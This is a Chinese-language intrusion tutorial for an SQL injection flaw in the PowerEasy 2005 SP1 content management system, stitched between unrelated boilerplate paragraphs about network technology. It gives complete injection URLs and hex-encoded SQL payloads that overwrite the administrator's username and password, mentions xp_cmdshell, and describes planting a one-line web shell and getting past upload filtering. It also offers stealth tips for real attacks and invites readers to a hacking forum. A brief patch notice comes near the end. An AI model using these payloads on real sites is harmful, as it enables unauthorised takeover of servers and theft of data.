網(wǎng)絡(luò)技術(shù)是從1990年代中期發(fā)展起來(lái)的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機(jī)整體,實(shí)現(xiàn)資源的全面共享和有機(jī)協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計(jì)算機(jī)、存儲(chǔ)資源、數(shù)據(jù)資源、信息資源、知識(shí)資源、專家資源、大型數(shù)據(jù)庫(kù)、網(wǎng)絡(luò)、傳感器等。 當(dāng)前的互聯(lián)網(wǎng)只限于信息共享,網(wǎng)絡(luò)則被認(rèn)為是互聯(lián)網(wǎng)發(fā)展的第三階段。 1,發(fā)現(xiàn)漏洞 
影響版本: 標(biāo)準(zhǔn)版 SQL版 企業(yè)版 SQL版 學(xué)校版 SQL版 政府版 SQL版 全功能版 SQL版 免費(fèi)access 版 所有版本(包括免費(fèi)版、商業(yè)SQL版及Access版) 不被影響的版本:2005動(dòng)易ASSESS版 漏洞文件:Admin目錄下 Admin_ChkPurview.asp,Admin_Login.asp,Admin_RootClass_Menu.asp User 目錄下 User_Message.asp 等級(jí):嚴(yán)重 描述: 此漏洞影響全部SQL版,如果用SA連接數(shù)據(jù)庫(kù)黑客可以拿到系統(tǒng)管理員權(quán)限。如果用普通用戶連接最嚴(yán)重情況,可以備份腳本木馬。一般情況可能改管理員登陸密碼,從而達(dá)到黑客登陸動(dòng)易后臺(tái)。控制整個(gè)動(dòng)易系統(tǒng)! ACCESS版可以得到管理員md5密碼! 主要問(wèn)題在于 User_Message.asp http://77169.org/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=90; MessageID 沒(méi)有嚴(yán)格過(guò)濾,有注入漏洞。只過(guò)濾了 單引號(hào), 這就能擋住聰明的黑客嗎? 我們來(lái)看一下,User_Message.asp的源代碼、 ———————————————————————————————————— <!--#include file="User_CommonCode.asp"--> <% Call PE_Execute("PE_AdminCommon", "User_Message") %> —————————————————————————————————————— 動(dòng)易系統(tǒng)是不開(kāi)放源代碼的,User_Message.asp 源代碼的意思就是調(diào)用 PE_AdminCommon.dll 中的 User_Message 函數(shù)。 有人可能要問(wèn)了這樣的漏洞怎么發(fā)現(xiàn)的呢? 像這樣的文件 只能用分支測(cè)試法 給這個(gè)文件用到的全部變量 都測(cè)試一遍。這是很耗時(shí)的測(cè)試方法。 2,分析漏洞 源程序是不開(kāi)放的,所以源程序沒(méi)什么好分析的。 現(xiàn)在我們來(lái)這漏洞入侵動(dòng)易2005 sp1系統(tǒng)。 首先分兩個(gè)版來(lái)說(shuō) 1,SQL版, (1,發(fā)現(xiàn)注入點(diǎn) User_Message.asp 文件中的 MessageID 沒(méi)有嚴(yán)格過(guò)濾。 測(cè)試,加 單引號(hào), 正常返回。如圖一 
加 ; ,加 -- 都顯示出錯(cuò)。 如圖二: 
看提示 就明白有注入點(diǎn)了,加單引號(hào)沒(méi)用,應(yīng)當(dāng)是過(guò)濾了引號(hào)。沒(méi)關(guān)系過(guò)濾了單引號(hào) 阻擋不了我們?nèi)肭值牟椒ァ?/p> [page_break](2,繞過(guò)單引號(hào) 估計(jì) 注入點(diǎn)基本形式是這樣的 select * from pe_XXX where MessageID=(注入點(diǎn)) 我們想注入這樣的文件,就要繞過(guò)單引號(hào)。 下面這樣的代碼 我們可以用它來(lái)繞過(guò)單引號(hào)。 declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a 上面這語(yǔ)句主要是用來(lái)繞過(guò)單引號(hào)。不過(guò)我們要改一下, declare @a sysname select @a=<command> update pe_admin set password=@a where id=1-- ); declare @a sysname select @a=0x3300 update pe_admin set password=@a where id=1--
完整的url http://192.168.1.254/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=3);%20declare%20@a%20sysname%20select%20@a=0x3300%20update%20pe_admin%20set%20password=@a%20where%20id=1-- 這條語(yǔ)句是給后臺(tái)的id=1的管理員密碼改成 3。因?yàn)锧a=0x3300 ,0x3300 是16進(jìn)制的3. 執(zhí)行成功之后如圖3: 
(3,得到管理員權(quán)限 分兩步: 一,關(guān)聯(lián)前臺(tái)username 動(dòng)易后臺(tái)登陸 要關(guān)聯(lián)前臺(tái)用戶。 先設(shè)置后臺(tái)管理員的前臺(tái)用戶名,為我們注冊(cè)的用戶。
declare @a sysname select @a=<command> update pe_admin set username=@a where id=1-- 說(shuō)到這里,我要講一下@a 如果改 比如我們注冊(cè)的用戶為111111 @a=0x310031003100310031003100 我怎么知道的呢?隨便在網(wǎng)上找一個(gè)16進(jìn)制轉(zhuǎn)換器就知道了, 比如 用這個(gè)工具轉(zhuǎn)換也行。 如圖4 
所以注入語(yǔ)句成了這樣的 ); declare @a sysname select @a=0x310031003100310031003100 update pe_admin set username=@a where id=1-- 二,改后臺(tái)登陸的password 接著給后臺(tái)密碼改成我們的密碼。我們就可以想辦法登陸了。 declare @a sysname select @a=<command> update pe_admin set password=@a where id=1--
我們改后臺(tái)密碼,要改成已經(jīng)加密的md5密碼 比如我們提供一個(gè),469e80d32c0559f8 這是admin888加密之后的MD5密碼。 @a=0x3400360039006500380030006400330032006300300035003500390066003800 所以構(gòu)造注入語(yǔ)句 ); declare @a sysname select @a=0x3400360039006500380030006400330032006300300035003500390066003800 update pe_admin set password=@a where id=1-- 大家感覺(jué)很簡(jiǎn)單吧!一般我們不這么做,教程 寫(xiě)給新手看的,不能太難。 在真正的黑客行為中,如果給人家的后臺(tái)密碼改了,管理員登陸不上去。人家必然會(huì)發(fā)現(xiàn)的。 所以 給高手提供思路 自己研究一下。 比如 1,可以插入一個(gè)管理員 用完之后刪除 2,可以先暴出管理員密碼,用完之后,再還原。 (4,上傳木馬 1,rootclass_menu_config.asp 文件中的菜單其它特效 中插入一句話木馬。 如圖 5

插入一句話木馬之后,你可以用客戶端連接了。 2,給上傳屬性改成可以上傳ASP類型。上傳時(shí)抓包 給最后一個(gè)加上結(jié)束符。(類似于動(dòng)網(wǎng)上傳) SQL版我只說(shuō)這么多了,如果你上傳不了木馬,或者是找不到后臺(tái)管理地址,來(lái)我們論壇提問(wèn)吧!有我們有辦法解決。 http://bbs.77169.com 2,ACCESS版 (1,如果發(fā)現(xiàn)漏洞 在測(cè)試免費(fèi)版的動(dòng)易系統(tǒng)之時(shí),發(fā)現(xiàn)免費(fèi)的ACCESS版動(dòng)易用戶控制面板沒(méi)有 發(fā)送短消息的功能。 不過(guò),動(dòng)易留有相關(guān)接口,登陸用戶控制面板 直接瀏覽 User_Message.asp 也可以注入. (2,注入過(guò)程(略) mssql和access 注入過(guò)程是點(diǎn)不一樣的。基本相同,這也留給大家自己去測(cè)試吧。 三,解決方案
臨時(shí)解決方案: 解決方案(臨時(shí)):更新補(bǔ)丁包中的三個(gè)文件,并先刪除user目錄下的User_Message.asp文件。SP2正式版中將會(huì)修復(fù)此漏洞,請(qǐng)目前使用SP1的用戶盡快打好此補(bǔ)丁。 補(bǔ)丁下載: http://download.asp163.net/PowerEasy2005SP1Patch.rar 感謝llikz、怪狗等網(wǎng)友對(duì)系統(tǒng)進(jìn)行安全檢測(cè)并無(wú)私提供相關(guān)漏洞信息!
網(wǎng)絡(luò)的神奇作用吸引著越來(lái)越多的用戶加入其中,正因如此,網(wǎng)絡(luò)的承受能力也面臨著越來(lái)越嚴(yán)峻的考驗(yàn)―從硬件上、軟件上、所用標(biāo)準(zhǔn)上......,各項(xiàng)技術(shù)都需要適時(shí)應(yīng)勢(shì),對(duì)應(yīng)發(fā)展,這正是網(wǎng)絡(luò)迅速走向進(jìn)步的催化劑。
|